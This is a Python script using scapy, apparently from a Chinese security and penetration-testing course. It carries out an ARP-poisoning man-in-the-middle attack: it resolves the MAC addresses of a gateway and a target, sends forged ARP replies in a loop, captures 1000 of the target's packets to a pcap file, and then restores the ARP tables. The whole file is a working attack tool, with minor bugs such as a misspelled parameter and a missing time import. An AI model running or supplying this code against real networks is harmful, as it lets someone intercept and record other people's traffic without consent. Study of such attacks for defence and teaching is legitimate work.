#!/usr/bin/python3.4
# -*- coding=utf-8 -*-
#本脚由亁颐堂现任明教教主编写，用于乾颐盾Python课程！
#教主QQ:605658506
#亁颐堂官网www.qytang.com
#乾颐盾是由亁颐堂现任明教教主开发的综合性安全课程
#包括传统网络安全（防火墙，IPS...）与Python语言和黑客渗透课程！

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)#清除报错
from scapy.all import *
import os
import sys
import threading
import signal

interface = "eno33554944"
packet_count = 1000

conf.iface = interface
conf.verb = 0

def get_mac(ip_address):
	responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)
	for s,r in responses:
		return r[Ether].src
	return None

def poison_target(geteway_ip, gateway_mac, target_ip, target_mac):
	poison_target = ARP()
	poison_target.op = 2
	poison_target.psrc = gateway_ip
	poison_target.pdst = target_ip
	poison_target.hwdst = target_mac

	poison_gateway = ARP()
	poison_gateway.op = 2
	poison_gateway.psrc = target_ip
	poison_gateway.pdst = gateway_ip
	poison_gateway.hwdst = gateway_mac

	print("[*] Beginning the ARP poison. [CTRL-C to stop]")

	while True:
		try:
			send(poison_target)
			send(poison_gateway)
			time.sleep(2)
		except KeyboardInterrupt:
			restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
	print("[*] ARP poison attack finished.")

	return

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
	print("[*] Restoring target...")
	send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
	send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)

	os.kill(os.getpid(),signal.SIGSTOP)

def poison_arp(gateway_ip, target_ip):
	print("[*] Setting up %s " % interface)

	gateway_mac = get_mac(gateway_ip)

	if gateway_mac is None:
		print("[!!!] Failed to get gateway MAC. Exiting.")
		sys.exit(0)
	else:
		print("[*] Gateway %s is at %s" % (gateway_ip, gateway_mac))

	target_mac = get_mac(target_ip)

	if target_mac is None:
		print("[!!!] Failed to get target MAC. Exiting.")
		sys.exit(0)
	else:
		print("[*] Target %s is at %s" % (target_ip, target_mac))

	poison_thread = threading.Thread(target = poison_target, args = (gateway_ip, gateway_mac, target_ip, target_mac))
	poison_thread.start()

	try:
		print("[*] Starting sniffer for %d packets" % packet_count)
		bpf_filter = "ip host %s" % target_ip
		packets = sniff(count=packet_count, filter=bpf_filter,iface=interface)
		wrpcap('arper.pcap', packets)
		restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
	except KeyboardInterrupt:
		restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
		sys.exit(0)

if __name__ == "__main__":
	target_ip = "202.100.1.1"
	gateway_ip = "202.100.1.2"
	poison_arp(gateway_ip,target_ip)
